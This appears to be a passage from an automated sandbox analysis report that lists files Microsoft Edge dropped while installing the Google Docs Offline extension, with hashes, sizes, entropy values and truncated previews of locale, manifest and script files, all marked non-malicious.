SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir5500_784423817\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
